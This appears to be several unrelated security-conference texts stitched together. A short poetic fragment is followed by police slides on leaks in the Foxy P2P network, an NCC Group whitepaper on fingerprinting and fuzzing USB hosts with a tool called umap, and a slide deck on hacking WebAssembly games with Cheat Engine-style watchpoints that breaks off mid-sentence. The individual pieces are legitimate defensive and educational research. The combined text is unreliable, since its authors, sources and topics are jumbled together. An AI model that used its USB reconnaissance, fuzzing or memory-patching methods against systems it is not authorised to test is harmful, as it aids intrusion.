Froth and the Froth is evolving toward the Second Mute. But try. <Why> because humankind tries. Humankind tiny but laughs and thinks and dances the Froth. Small and so adorable, humbled now, humankind on its wee planet. Tip of a swirl. A swirl in a whorl of a spiral. Try. Try again. <sigh> <smile> The Froth however dimples, dimples again and gimbles, all mim- sy as the Skein, laughing and dancing, ola! Loa! High! High! Leaps over the fire to become twice blasted twice undone.
pdf
Tsung Pei Kan [email protected] 1  Graduated from Central Police University . He likes to study about Kernel and Reverse Engineering. He is interested in the subject of Computer Forensic. He’s working for National Police Agency now. Besides, he is also the docent for Taiwan Network Information Center.  At the beginning of last year he developed a scanner based on behavioral analysis call "NPASCAN", it can detect and exam the unknown malware very quickly. The most important thing is you can free download from the NPA website.  Special skills:  Windows System Programming  Malicious Software Analysis  Software Reversing  Computer Forensics  Experience  National Police Agency (NPA)  Information Department  Criminal Investigation Bureau (CIB)  High-Tech Crime Investigation Center  Information Department 2  Foxy is a Chinese P2P software which is popular in Taiwan, China,Hong Kong and Macau.  It is based on the Gnutella and G2 architecture. 3 Data leaked into Foxy P2P network(TW) 4 Data leaked into Foxy P2P network(TW) 5 6 7 8 9  Although they have different UI, these clients join to the same P2P network.  Do not think that you did not install foxy, so your data will be safe. 10 11 11 Adsl dial Id/Password 12 Sharing nodes can’t be seen in an easy way. The file will be shared immediately after downloading. Limited software function Only Foxy can join to the Foxy network 13 Connect to Foxy Search from Foxy Download from foxy 14 GWebCaches 15 16  GNUTELLA CONNECT/0.6  Listen-IP: 61.57.116.229:24499  Remote-IP: 203.185.52.200  User-Agent: Foxy 1.8.6.0  Accept: application/x-gnutella2  X-Ultrapeer: False  Accept-Encoding: deflate  X-Auth-Challenge: KxElu1Q 17  GNUTELLA/0.6 200 OK  Listen-IP: 203.185.52.200:7952  Remote-IP: 61.57.116.229  User-Agent: Foxy 1.9.10.0  Content-Type: application/x-gnutella2  Accept: application/x-gnutella2  X-Ultrapeer: True  Accept-Encoding: deflate  X-Auth-Response: RhXb6zC5Yss  X-Auth-Challenge: 3H5HtDHD  X-Try-Hubs: 219.78.62.158:10686 2010-10- 03T15:37Z,111.249.145.101:18218 18  GNUTELLA/0.6 200 OK  X-Ultrapeer: False  Content-Type: application/x-gnutella2  Content-Encoding: deflate  X-Auth-Response: PLHJxI7zcKU Using custom Tiny Encryption Algorithm (TEA) and Base64 algorithm. Foxy is a closed Gnutella P2P network 19 20 21 22 Ultrapeer Ultrapeer Ultrapeer Ultrapeer 23 24 25 26 Now… 27 Network Connected 28 Input the search keyword 29 Sharing Nodes Resolved host Which nodes are sharing the file? 30 Downloading 31 More information 32 各結點傳輸協定 File part list Receving 33  Gnutella's distributed search protocol allows a set of peers, servents or clients, to perform filename searches over other clients without the need of an intermediate index server.  The Gnutella network topology is a pure Ad- Hoc topology where clients may join or leave the network at any time without affecting the rest topology in any sense. 34  Recall that using the purely decentralized version, packets are flooded throughout the network.  If the v0.6 ultrapeer recommendation is implemented, searching is optimized using Query hash tables(QHTs).  A QHT is maintained by each node, and describes the content it is sharing.  An ultrapeer maintains an aggregate of its leaf's QHTs and its own QHT.  Searches are performed by forwarding a query to an ultrapeer, who checks its aggregate QHT for a match. ▪ If there is a match, the query is forwarded to the appropriate leaf, otherwise the query is forwarded to neighbouring ultrapeers by “flooding”. 35 36 37 38  If we assume that each p is connecting to averagely 5 other peers (which is usually much higher) and will forward a message only in a depth of 7 (i.e. TTL=7), which is also typical for a Gnutella client and assuming that each peer is using message flooding, which means that Mp fake responses will be sent to all of its peers we will averagely reach 20,480 other p.  The reach is determined by n (# connections to other hosts) and TTL :  Assumption: nodes all have the same n and TTL.     TTL t t n n 1 1) 1. ( 39  Decentralized, 2-tier.  This architecture is recommended for Gnutella in v0.6.  New node enters by connecting to a known hub (almost identical to Gnutella's handshake).  Hubs typically accept 300-500 leaves, and connect to 5-30 other hubs.  Leaves typically connect to 3 hubs. 40  Ultrapeers are called “hubs”.  Uses a QHT like Gnutella, but if a hub cannot match a query to its aggregate QHT, it checks a set of caches:  Each hub maintains a cached copy of each neighbouring hub's aggregate QHT.  Upon a search miss, a hub will try to match the query against its cached copies of its neighbours QHTs.  If the query matches, it will forward the query once, and the node that receives the query processes it and directly sends the result back to the client.  If no match is made, the searching client will continue at another untried hub. 41 Ultrapeer Ultrapeer Ultrapeer Ultrapeer 42 43 44  http://evchk.wikia.com/wiki/Foxy  http://www.cs.hku.hk/cisc/event/20080827_FoxyPCO/ FoxyPCO_20080827.pdf  http://en.wikipedia.org/wiki/Foxy_(P2P)  http://alumni.cs.ucr.edu/~csyiazti/courses/cs260- 2/project/gnutella.pdf  http://limewire.negatis.com/index.php?title=Dynamic _Querying  http://crawler.trillinux.org/status.html  www.scs.carleton.ca/~kranakis/523- course/Thorpe.ppt  http://gnucleus.cvs.sourceforge.net/viewvc/gnucleus/ 45 [email protected] If you have any questions, please contact me at 46
pdf
© Copyright 2013 NCC Group An NCC Group Publication Revealing Embedded Fingerprints: Deriving Intelligence from USB Stack Interactions Prepared by: Andy Davis Research Director andy.davis ‘at’ nccgroup.com NCC Group | Page 2 © Copyright 2013 NCC Group Contents 1 List of Figures and Tables .......................................................................................................... 3 2 Introduction .................................................................................................................................. 4 2.1 Previous Research ................................................................................................................ 4 3 USB Background: The Enumeration Phase in Detail ............................................................... 4 4 USB Testing Platform .................................................................................................................. 8 5 USB Stack Implementations ....................................................................................................... 9 6 Identifying Supported Devices ................................................................................................. 10 6.1 USB Device Classes ........................................................................................................... 10 6.2 Enumerating Installed Class Drivers ................................................................................... 12 6.3 Other Devices Already Connected...................................................................................... 13 7 Fingerprinting Techniques ....................................................................................................... 14 7.1 Operating System Identification .......................................................................................... 14 7.2 Application Identification ..................................................................................................... 14 7.3 Timing Information .............................................................................................................. 15 7.4 Descriptor Types Requested .............................................................................................. 16 7.5 Responses to Invalid Data .................................................................................................. 17 8 Umap ........................................................................................................................................... 17 9 Conclusions ............................................................................................................................... 23 10 References and Further Reading ........................................................................................ 24 11 Glossary ................................................................................................................................. 24 NCC Group | Page 3 © Copyright 2013 NCC Group 1 List of Figures and Tables Figure 1: The use of a Facedancer board in conjunction with a Packet-master USB analyser Figure 2: Enumeration stops at “Set Configuration” when a device class is not supported Figure 3: Enumeration continues past the “Set Configuration” when a device class is supported Figure 4: A Packet-master capture showing multiple USB devices connected to the same bus Figure 5: Linux-based TV Set-Top-Box Figure 6: Windows 8 Figure 7: gphoto2 (Linux) Figure 8: “Photos” Metro app (Windows 8) Figure 9: USB timing information during enumeration Figure 10: Umap basic help Figure 11: The USB device classes that umap currently understands Figure 12: Umap identifying supported classes, sub-classes and protocols Figure 13: The umap VID/PID lookup facility Figure 14: The umap operating system identification capability Figure 15: Umap emulating a USB camera Figure 16: Generic USB fuzz test cases Figure 17: Class-specific USB fuzz test cases Figure 18: Umap fuzzing a USB host Table 1: Get Device descriptor request Table 2: Device descriptor Table 3: Configuration descriptor Table 4: Interface descriptor Table 5: Endpoint descriptor Table 6: HID descriptor Table 7: String descriptor Table 8: Set Configuration request Table 9: USB Device classes Table 10: Hub class information in a Device descriptor Table 11: Image class information in an Interface descriptor Table 12: VID and PID information in a Device descriptor Table 13: Microsoft OS descriptor request NCC Group | Page 4 © Copyright 2013 NCC Group 2 Introduction Embedded systems are everywhere, from TVs to aircraft, printers to weapons control systems. As a security researcher when you are faced with one of these black boxes to test, sometimes in situ, it is difficult to know where to start. However, if there is a USB port on the device. there is useful information that can be gained. In this paper we will show how USB stack interaction analysis can be used to provide information such as the OS running on the embedded device, the USB drivers installed, and the devices supported. When testing the security of a USB host stack, knowledge of the installed drivers will increase the efficiency of the testing process dramatically. 2.1 Previous Research There has been plenty of previous research into the security of USB in recent years, which has mainly focussed on different approaches to enable USB hosts to be tested for vulnerabilities [Davis][Dominguez Vega][Larimer]. However, the author is only aware of one reference to research involving the use of USB interactions to identify information about the host stack [Goodspeed]. 3 USB Background: The Enumeration Phase in Detail USB is a master-slave protocol, with the host as the master and devices as slaves. Only the master can make requests to slaves and not the other way round, which poses a problem as we are trying to identify information about the configuration of the host from the perspective of a slave (device). Therefore we need to observe the way the host requests information in great detail, and also to provide potentially unexpected answers to the host’s requests, generating unique behaviour in the host, which can then also be observed. The initial communication any USB device has with a host is during enumeration. Enumeration is the mechanism by which a USB host determines the status, configuration, and capabilities of an inserted USB device. The process begins when a device is mechanically inserted into the host and follows a number of steps: There are four lines on a USB connector: Vcc (+5V), GND (0V), positive data (D+) and negative data (D-). Prior to a device being connected, D+ and D- are connected to GND via a 15K resistor. At the point of insertion, different resistors and differential signals are used to determine the speed of the connected device:  A low speed device (1.5Mbps) connects D- to Vcc via a 1K5 pull-up resistor  A full speed device (12Mbps) connects D+ to Vcc via a 1K5 pull-up resistor  A high speed device (480Mbps) connects D+ to Vcc via a 1K5 pull-up resistor (and hence initially appears to be a full speed device). The host then attempts to communicate at 480Mbps with the device using J and K chirps (a J chirp is a differential signal on D+ and D- >= +300mV, whereas a K chirp is >= -300mV). If the communication fails the host assumes the device is a full speed device rather than a high speed device. Now that the host knows what speed it can use to communicate with the device, it can start interrogating it for information. An 8-byte SETUP packet called the setup transaction (Table 1) is sent by the host in the first phase of a control transfer. It contains the request “GET_DESCRIPTOR” (for the device descriptor) and is sent using address 0. The device then responds with an 18-byte device descriptor, also on address 0 (Table 2). NCC Group | Page 5 © Copyright 2013 NCC Group Table 1: Get Device descriptor request Table 2: Device descriptor Table 3: Configuration descriptor Field Value Meaning bmRequestType (direction) 1 Device-to-host bmRequestType (type) 0 Standard bmRequestType (recipient) 0 Device bRequest 0x06 Get Descriptor wValue 0x0100 DEVICE Index = 0 wIndex 0x0000 Zero wLength 0x0040 Length requested = 64 Field Value Meaning bLength 18 Descriptor length (including the bLength field) bDescriptorType 1 Device descriptor bcdUSB 0x0110 Spec version bDeviceClass 0x00 Class information stored in Interface descriptor bDeviceSubClass 0x00 Class information stored in Interface descriptor bDeviceProtocol 0x00 Class information stored in Interface descriptor bMaxPacketSize0 8 Max EP0 packet size idVendor 0x413c Dell Inc idProduct 0x2107 Unknown bcdDevice 0x0178 Device release number iManufacturer 1 Index to Manufacturer string iProduct 2 Index to Product string iSerialNumber 0 Index to serial number bNumConfigurations 1 Number of possible configurations Field Value Meaning bLength 9 Descriptor length (including the bLength field) bDescriptorType 2 Configuration descriptor wTotalLength 34 Total combined size of this set of descriptors bNumInterfaces 1 Number of interfaces supported by this configuration bConfigurationValue 1 Value to use as an argument to the SetConfiguration() request to select this configuration iConfiguration 0 Index of String descriptor describing this configuration bmAttributes (Self-powered) 0 Bus-powered bmAttributes (Remote wakeup) 1 Yes bmAttributes (Other bits) 0x80 Valid bMaxPower 100mA Maximum current drawn by device in this configuration NCC Group | Page 6 © Copyright 2013 NCC Group The most important data in the device descriptor is:  Device class information (if present)  Maximum packet size in bytes of Endpoint 0  Vendor and Product IDs (VID and PID)  Number of configurations The host resets the device, allocates an address to it (in the range of 1 to 127) and then re-requests the device descriptor using the new address. For each possible configuration, the host will request a configuration descriptor, an example of which is shown in Table 3. The configuration descriptor includes a number of further descriptors (interface and endpoint, examples of which are shown in tables 4 and 5 respectively); however, the primary fields of interest are:  Number of interfaces supported by this configuration  The power attributes that indicate if the device is self- or bus-powered and the maximum current the device will draw. Table 4: Interface descriptor Table 5: Endpoint descriptor Field Value Meaning bLength 9 Descriptor length (including the bLength field) bDescriptorType 4 Interface descriptor bInterfaceNumber 0 Number of this interface bAlternateSetting 0 Value used to select this alternative setting for the interface identified in the prior field bNumberEndpoints 1 Number of endpoints used by this interface bDeviceClass 0x03 HID bDeviceSubClass 0x01 Boot interface bDeviceProtocol 0x01 Keyboard iInterface 0 Index of string descriptor describing this interface Field Value Meaning bLength 7 Descriptor length (including the bLength field) bDescriptorType 5 Endpoint descriptor bEndpointAddress 0x81 Endpoint 1 – OUT bmAttributes 0x03 Interrupt data endpoint wMaxPacketSize 0x0008 Maximum packet size is 8 bInterval 0x0a 10 frames (10ms) NCC Group | Page 7 © Copyright 2013 NCC Group Within the interface descriptor, the important information is:  Number of endpoints  Class information (interface-specific information not provided in the device descriptor) An endpoint descriptor contains:  The endpoint address and type  The maximum packet size in bytes of the endpoint Sometimes class-specific descriptors are included within the configuration, for example the HID descriptor in Table 6: Table 6: HID descriptor If there are multiple configurations for a device then further configuration (as well as interface, endpoint, etc.) descriptors will be requested. The next descriptors requested are string descriptors, which provide human-readable information about the device type and vendor. An example is shown in Table 7. Table 7: String descriptor The final step is for the host to select one of the device configurations and inform the device that it will be using that configuration. This is performed by issuing a “Set Configuration” request, as shown in Table 8. Field Value Meaning bLength 9 Descriptor length (including the bLength field) bDescriptorType 0x21 HID bcdHID 0x0110 HID Class Spec Version bCountryCode 0 Not Supported bNumDescriptors 1 Number of Descriptors bDescriptorType 34 Report descriptor wDescriptorLength 65 Descriptor length Field Value Meaning bLength 48 Descriptor length (including the bLength field) bDescriptorType 3 String descriptor bString “Dell USB Entry Keyboard” NCC Group | Page 8 © Copyright 2013 NCC Group Table 8: Set Configuration request The enumeration phase is now complete, with the USB device configured and ready to use. From now until the device is removed, class-specific communication is used between the device and the host. However, as we will discuss later, there are variations to this enumeration phase which can be used to fingerprint different host implementations. 4 USB Testing Platform Additional hardware is needed to interact with USB, so that different USB devices can be emulated. There are a number of requirements for this testing platform: The ability to both capture and replay USB traffic: There are many USB analyser tools available, but only a few that allow captured traffic to be replayed; an ability that is crucial in this instance. Full control of generated traffic: Many test-equipment-based solutions restrict the user to generating traffic that conforms to the USB specification. We need full control of all aspects of any generated traffic, as the host many behave in an unexpected way if it receives unconventional data, which is what we are hoping to observe. Class decoders are extremely useful: For each USB device class (e.g. mass storage, printer), there are separate specification documents that detail the class-specific communications protocols. Having an application that understands and decodes these protocols makes understanding the class communication significantly easier. Support for multiple speeds: USB devices, depending on their function, operate at a number of different speeds; therefore the ability to capture and generate data at these different speeds is crucial if the whole range of devices is to be emulated. The solution chosen for this project comprised two primary components: A commercial USB analyser and generator – Packet-Master [MQP], and a bespoke device emulation board called Facedancer [GoodFET]. Figure 1 shows how they are used together. Figure 1: The use of a Facedancer board in conjunction with a Packet-master USB analyser Field Value Meaning bmRequestType (direction) 0 Host-to-device bmRequestType (type) 0 Standard bmRequestType (recipient) 0 Device bRequest 0x09 Set Configuration wValue 0x0001 Configuration No. wIndex 0x0000 Zero wLength 0x0000 Zero NCC Group | Page 9 © Copyright 2013 NCC Group The benefit of using both devices is that fully arbitrary USB traffic can be generated by Facedancer, acting as a USB device, and the responses from the host under test can be captured by the Packet- Master appliance. However, for the majority of the techniques described in this paper, just a Facedancer board would suffice. 5 USB Stack Implementations USB is quite a complex protocol, especially as it provides backward compatibility to support older, slower devices. Therefore, implementations of the host stack on different operating systems can behave in different ways, as we hoped to observe during this research. Typical components within a USB host stack are as follows: Host controller hardware: This performs the low-level timing and electrical aspects of the protocol and is communicated with via a host controller interface. Host controller interface (HCI): There are a number of different HCIs that have been developed over the years, all of which have different capabilities, but the primary difference is their ability to support devices running at different speeds; they are:  oHCI (Open Host Controller Interface)  eHCI (Enhanced Host Controller Interface)  uHCI (Universal Host Controller Interface)  xHCI (Extensible Host Controller Interface) Host controller driver: This provides a hardware abstraction layer so that the host can communicate via the controller interface to the hardware. USB core: The component that performs core functionality such as device enumeration Class drivers: Once enumeration is complete and control has been passed to a USB class driver, communication specific to the connected device is processed by the class driver Application software: When a USB device is inserted a host may start an application specific to the class of that device (e.g. an application that displays photos when a camera device is connected). NCC Group | Page 10 © Copyright 2013 NCC Group 6 Identifying Supported Devices For USB host vulnerability assessment via fuzzing it is important to establish what device classes are supported. This is because USB fuzzing is a relatively slow process – each test case requires the virtual device to be “inserted” and “removed” via software, resulting in enumeration being performed each time. The USB protocol is designed to expect a human, rather than a computer, to insert a device, and so timing delays result in each test case taking several seconds to complete. If functionality that is not supported by the target host is fuzzed then this can waste large amounts of testing time. 6.1 USB Device Classes There are a number of high level USB device classes; these are shown in Table 9. Table 9: USB Device classes USB device class information can be stored in a number of different places within the descriptors provided during enumeration. The information is provided in three-byte entries:  bDeviceClass – the high level device class (e.g. mass storage)  bDeviceSubClass – specific information about this device (e.g. SCSI command set)  bDeviceProtocol – the protocol used (e.g. bulk transport (BBB)) Taking the mass storage class as an example, the following are the available sub-classes:  De facto use  RPC  MMC-5 (ATAPI) Base Class Descriptor Usage Description 0x00 Device Use class information in the Interface Descriptors 0x01 Interface Audio 0x02 Both CDC (Communication and Device Control) 0x03 Interface HID (Human Interface Device) 0x05 Interface Physical 0x06 Interface Image 0x07 Interface Printer 0x08 Interface Mass Storage 0x09 Device Hub 0x0a Interface CDC-Data 0x0b Interface Smart Card 0x0d Interface Content Security 0x0e Interface Video 0x0f Interface Personal Healthcare 0x10 Interface Audio/Video Devices 0xdc Both Diagnostic Device 0xe0 Interface Wireless Controller 0xef Both Miscellaneous 0xfe Interface Application Specific NCC Group | Page 11 © Copyright 2013 NCC Group  QIC-157  UFI  SFF-8070i  SCSI  LSD FS  IEE 1667  Vendor specific For each of these mass storage sub-classes there are also a number of possible protocols:  CBI with command completion interrupt  CBI without command completion interrupt  BBB  UAS  Vendor specific So, as you can see, the potential attack surface of a USB host is enormous; but it is important to establish which functionality is supported prior to any active fuzz testing. Some devices, such as the hub in Table 10, store their class information in the device descriptor. Table 10: Hub class information in a Device descriptor However, more commonly, the class information is interface specific and is therefore stored in the interface descriptor (within a configuration descriptor), as with the image class device in Table 11. Table 11: Image class information in an Interface descriptor Field Value Meaning bLength 18 Descriptor length (including the bLength field) bDescriptorType 1 Device descriptor bcdUSB 0x0200 Spec version bDeviceClass 0x09 Hub bDeviceSubClass 0x00 Full Speed Hub bDeviceProtocol 0x01 Default … Field Value Meaning bLength 9 Descriptor length (including the bLength field) bDescriptorType 4 Interface descriptor bInterfaceNumber 0 Number of this interface bAlternateSetting 0 Value used to select this alternative setting for the interface identified in the prior field bNumberEndpoints 3 Number of endpoints used by this interface bDeviceClass 0x06 Image bDeviceSubClass 0x01 Default bDeviceProtocol 0x01 Default … NCC Group | Page 12 © Copyright 2013 NCC Group When emulating specific device types, whether the class information is provided to the host in the device descriptor or in an interface descriptor depends on the device. 6.2 Enumerating Installed Class Drivers To identify which device classes are supported by a USB host, emulated (class-specific) virtual devices need to be presented to the host iterating through each device class, sub-class, and protocol whilst monitoring the enumeration process. If a device is not supported then the enumeration phase will stop at the “Set Configuration” command, as shown in Figure 2. Figure 2: Enumeration stops at “Set Configuration” when a device class is not supported However, if the device is supported then class-specific communication starts after the “Set Configuration” command, as can be seen in the example of a HID device in Figure 3 (the class- specific communication is highlighted by the green box). Figure 3: Enumeration continues past “Set Configuration” when a device class is supported Device class drivers are also referenced by their vendor ID (VID) and product ID (PID). If a specific device driver has been installed for a USB device then the host can reference this driver by using a combination of the class information, the VID and the PID, which are located in the device descriptor, as shown in Table 12. NCC Group | Page 13 © Copyright 2013 NCC Group Table 12: VID and PID information in a Device descriptor New VID and PID values must be registered with the USB Implementers Forum [USBIF] and are maintained in a number of public repositories. This information can be used to perform a brute-force attack against the host to identify any specific drivers that have been installed; however, this can be a very slow process. 6.3 Other Devices Already Connected When testing a host that may have other devices, such as an HSPA modem, connected internally to the USB bus, these can be detected by sniffing the USB bus and looking for devices that are communicating using different addresses than that of the attached device, as shown in Figure 4. Figure 4: A Packet-master capture showing multiple USB devices connected to the same bus One area of future research is to investigate if, using the Facedancer board to emulate the host to which it is connected, descriptor requests could be sent to these other devices to identify more information about them. Also, what happens if the Facedancer is configured to impersonate an already-connected device? Field Value Meaning bLength 18 Descriptor length (including the bLength field) bDescriptorType 1 Device descriptor bcdUSB 0x0110 Spec version bDeviceClass 0x00 Class information stored in Interface descriptor bDeviceSubClass 0x00 Class information stored in Interface descriptor bDeviceProtocol 0x00 Class information stored in Interface descriptor bMaxPacketSize0 8 Max EP0 packet size idVendor 0x04DA Panasonic Corporation idProduct 0x2372 Lumix DMC-FZ10 Camera NCC Group | Page 14 © Copyright 2013 NCC Group 7 Fingerprinting Techniques One of the targets of this research was to identify operating system and application information by observing USB stack interactions and sometimes using active techniques to prompt the host to perform different actions that may reveal useful information. This section will detail some of the techniques that were developed to do this. 7.1 Operating System Identification Figures 5 and 6 show the start of class-specific communication once the enumeration phase has been completed for two different hosts. As you can clearly see, the class-specific commands used and the order in which the commands are issued are completely different for the two hosts and this technique can therefore be used to differentiate between different operating systems. Note: The commands and the order of commands are the same each time a device is presented to the hosts Figure 5: Linux-based TV Set-Top-Box Figure 6: Windows 8 Other examples of unique behaviour of different operating systems:  Windows 8 (HID) – Three “Get Configuration descriptor” requests (others have two)  Apple OS X Lion (HID) – “Set Feature” request right after “Set Configuration”  FreeBSD 5.3 (HID) – “Get Status” request right before “Set Configuration” Further research in this area is expected to reveal techniques that will allow for more granular identification to be performed. 7.2 Application Identification Applications that use USB devices to provide input (e.g. photo management applications) can also reveal useful information, as shown in Figures 7 and 8. NCC Group | Page 15 © Copyright 2013 NCC Group Figure 7: gphoto2 (Linux) Figure 8: “Photos” Metro app (Windows 8) Figures 7 and 8 not only show that these two applications use different class-specific commands but the “Device Property” command sent by the host in Figure 8 contains the following data: /Windows/6.2.9200 MTPClassDriver/6.2.9200.16384 This is specific information about the version of the operating system running on the host (Version 6.2 is the Microsoft internal representation for Windows 8 and 9200.16384 is the exact build revision). 7.3 Timing Information The Packet-master analyser can differentiate between events occurring on the USB bus down to the microsecond. Figure 9 shows the capture information for five enumerations with the same device and same host. NCC Group | Page 16 © Copyright 2013 NCC Group Figure 9: USB timing information during enumeration Across the entire enumeration phase there is a large amount of variance between the times to enumerate the device. However, if the time is measured between specific requests e.g. between the requests for String descriptor 0 and String descriptor 2, something more interesting can be seen: 5002us, 5003us, 5003us, 4999us, 5001us There is a maximum variance of 4 microseconds. Therefore, if the operating system is known can information be gleaned about the speed of the host? This hypothesis is still under investigation. 7.4 Descriptor Types Requested Some operating systems have implemented their own USB descriptors —for example Microsoft has Microsoft OS descriptors (MODs). These were apparently developed for use with unusual device classes. Devices that support Microsoft OS descriptors must store a special string descriptor in firmware at the fixed string index of 0xee. The request is shown in Table 13. Table 13: Microsoft OS descriptor request bmRequestType bRequest wValue wIndex wLength Data 10000000B GET_DESCRIPTOR 0x03ee 0x0000 0x12 Returned String NCC Group | Page 17 © Copyright 2013 NCC Group If a device does not contain a valid string descriptor at index 0xee, it must respond with a stall packet. If the device does not respond with a stall packet, the system will issue a single-ended zero reset packet to the device, to help it recover from its stalled state (this is for Windows XP only). 7.5 Responses to Invalid Data Earlier in the paper we mentioned that the ability to send completely arbitrary USB packets to the host was required to determine how each host responds when a reply to one of its requests contains invalid data. Examples of invalid data include: • Maximum and minimum values • Logically incorrect values • Missing data During the research, various behaviours were observed as a result of sending this data. In some cases different “handled” error conditions occurred; however in many other situations unhandled errors were observed in the form of application errors, kernel panics and bug checks. The conclusions drawn from this area of the research were that invalid data was most useful in fuzzer test-cases for identifying bugs and potential security vulnerabilities. 8 Umap A tool was developed to demonstrate many of the techniques described in this paper and forms the basis for a comprehensive USB security testing tool. Umap is written in Python and builds on the sample code provided with the Facedancer board. Figure 10 shows the basic help information. Figure 10: Umap basic help Figure 11 shows the various USB device class types that umap currently understands. NCC Group | Page 18 © Copyright 2013 NCC Group Figure 11: The USB device classes that umap currently understands Figure 12 shows umap identifying supported classes, sub-classes, and protocols Figure 12: Umap identifying supported classes, sub-classes and protocols NCC Group | Page 19 © Copyright 2013 NCC Group Figure 13 shows the umap VID/PID lookup capability. Figure 13: The umap VID/PID lookup facility Figure 14 shows umap performing operating system identification using some of the techniques described earlier in this paper. Figure 14: The umap operating system identification capability NCC Group | Page 20 © Copyright 2013 NCC Group Figure 15 shows umap emulating an image class device (a digital stills camera). Figure 15: Umap emulating a USB camera Umap includes a large database of both generic and class-specific fuzzer test-cases, samples of which are shown in Figures 16 and 17. NCC Group | Page 21 © Copyright 2013 NCC Group Figure 16: Generic USB fuzz test cases Figure 17: Class-specific USB fuzz test cases NCC Group | Page 22 © Copyright 2013 NCC Group Figure 18 shows umap fuzzing a USB host. Figure 18: Umap fuzzing a USB host NCC Group | Page 23 © Copyright 2013 NCC Group 9 Conclusions The goal of this research was to identify ways of revealing configuration information about a connected USB host. This is useful because it allows us to streamline any subsequent fuzzing process by identifying supported USB functionality, and to enumerate operating system and application information that may be useful for other security testing. The major problem with trying to identify information about the configuration of the host is that USB is a master–slave relationship and the device is the slave, so a device cannot query a host. By emulating specific USB device classes such as mass storage and printer, it was possible to identify which generic class drivers were supported by the connected host. This process was refined to also emulate (and therefore identify) supported sub-classes and protocols. In order to identify non- generic class drivers, which are referenced by their vendor and product IDs, a brute force approach was demonstrated which uses the public VID/PID database. Due to the complexity of the USB protocol there are many different implementations of USB host functionality. A number of different techniques were developed to identify a host; these included analysing:  The order of descriptor requests  The number of times different descriptors were requested  The use of specific USB commands  Class-specific communication These techniques demonstrated that the host operating system, and in some cases applications running on the host, could be identified. A tool called umap was developed during the research to demonstrate these different techniques and also to perform targeted fuzzing once the information-gathering phase was complete. Possible uses for umap include Endpoint Protection System configuration assessment, USB host fuzzing and general host security audit (for USB). NCC Group | Page 24 © Copyright 2013 NCC Group 10 References and Further Reading Davis, Undermining Security Barriers, media.blackhat.com, <http://media.blackhat.com/bh-us- 11/Davis/BH_US_11-Davis_USB_Slides.pdf>, accessed 6 August 2013 Dominguez Vega, USB Attacks: Fun with Plug and 0wn, labs.mwrinfosecurity.com, <http://labs.mwrinfosecurity.com/assets/135/mwri_t2-usb-fun-with-plug-and-0wn_2009-10-29.pdf>, accessed 6 August 2013 GoodFET, GoodFET – Facedancer21, goodfet.sourceforge.net, <http://goodfet.sourceforge.net/hardware/facedancer21/>, accessed 6 August 2013 Goodspeed, Writing a thumbdrive from scratch: Prototyping active disk antiforensics, www.youtube.com, <http://www.youtube.com/watch?v=D8Im0_KUEf8>, accessed 6 August 2013 Larimer, Beyond Autorun: Exploiting vulnerabilities with removable storage, media.blackhat.com, <https://media.blackhat.com/bh-dc-11/Larimer/BlackHat_DC_2011_Larimer_Vulnerabiliters_w- removeable_storage-wp.pdf >, accessed 6 August 2013 MOD, Microsoft OS Descriptors, msdn.microsoft.com, <http://msdn.microsoft.com/en- us/library/windows/hardware/gg463179.aspx>, accessed 6 August 2013 MQP, Packet-Master USB500 AG, www.mqp.com, <http://www.mqp.com/usb500.htm>, accessed 6 August 2013 USBIF, USB Implementers Forum, www.usb.org, < http://www.usb.org/about>, accessed 6 August 2013 11 Glossary ATAPI - AT Attachment Packet Interface BBB - Bulk-only transport (also called BOT) CBI - Control/Bulk/Interrupt CDC - Communication and Device Control eHCI - Enhanced Host Controller Interface HID - Human Interface Device HSPA - High Speed Packet Access IEE 1667 .Protocol for Authentication in Host Attachments of Transient Storage Devices LSD FS - Lockable Storage Devices Feature Specification MOD - Microsoft OS descriptor oHCI - Open Host Controller Interface PID - Product ID QIC-157 Quarter Inch Cartridge (standard for streaming tape) RPC - Remote Procedure Call SCSI - Small Computer System Interface SFF-8070i - ATAPI specification for floppy disks UAS - USB Attached SCSI UFI - USB Floppy Interface uHCI - Universal Host Controller Interface USBIF - Universal Serial Bus Implementers Forum USB . Universal Serial Bus VID . Vendor ID xHCI - Extensible Host Controller Interface
pdf
Hacking WebAssembly Games with Binary Instrumentation WEBASSEMBLY 101 WASM 101 > Developers have done (and continue to do) incredible work speeding up Javascript > However, the dynamic nature of Javascript will always be a roadblock > WebAssembly provides a static, pre-compiled binary format for performance intensive applications WASM 101 > WebAssembly "defines an instruction set and binary format for an assembly-like architecture" > WebAssembly is built to be targetable by existing compilers and languages > Finally we can write web applications in C! WASM USES > WebAssembly video games are becoming very common > Look at any browser game website (Newgrounds, Kongregate, etc) > Unity3D and Unreal Engine 4 can now both target WebAssembly > This means there’s a lot of targets without a lot of tools WASM USES > WebAssembly is used for a lot of types of applications, not just video games > Retargeted desktop applications > 3D applications > Crypto miners > ...etc > These techniques are not video game specific — video games are just the most fun target WASM REVERSING > With WebAssembly, web RE has started to feel more like “traditional” binary RE > Back to the disassembler! > A few tools support WebAssembly (mostly static analysis) > radare2 > JEB decompiler > wabt (WebAssemby Binary Toolkit) WASM REVERSING > Browser debugging capabilities for WASM are pretty lacking > No watchpoints > No conditional breakpoints > Lots of bugs VIDEO GAME REVERSING > Video games are a unique challenge when it comes to RE > Video game binaries are typically much larger and more complex than other applications > Video games are more performance intensive, and performance impacts are more noticeable > No one wants to play a game at 5 FPS > With this in mind, I was looking for a tool like Cheat Engine for WASM CHEAT ENGINE > Cheat Engine (made by Dark Byte) is effectively a specialized debugger for hacking video games > Cheat Engine can: > Search memory > Modify and “freeze” memory > Set watchpoints > Inject/patch code CHEAT ENGINE 101 We want to make our character invincible. We know our character currently has 5 health We start by searching the game’s memory for the value 5 Then we cause the value to change and search for the new value... ...and continue this process until we’ve found our health value in memory Now we can manipulate our health to heal ourselves ...or give ourselves more health ...or “freeze” our health so we can’t get hurt This process can take a while and needs to be redone every time we play. Ideally we want to permanently patch the game We set a watchpoint on our health address, then trigger it Now we know where health is decremented when we get hurt ...and we can patch it out > Cheat Engine not only helps us hack games, it can also be significant help in RE > Using watchpoints we can associate a value in memory to the code that affects it > This is an invaluable time saver reverse engineering large applications like video games CHEAT ENGINE USES CHEAT ENGINE > Since WASM doesn’t have watchpoints we can’t directly implement Cheat Engine features > Can we emulate watchpoint behavior without “real” watchpoints? EMULATING WATCH POINTS > First attempt: Using the browser debugger > Place a breakpoint at each load/store instruction and check if the access affects our “watched” address EMULATING WATCH POINTS > First attempt: Using the browser debugger > Place a breakpoint at each load/store instruction and check if the access affects our “watched” address > Way too slow — browser becomes unusable EMULATING WATCH POINTS > To emulate watchpoints, we want to inject code into the binary at each memory 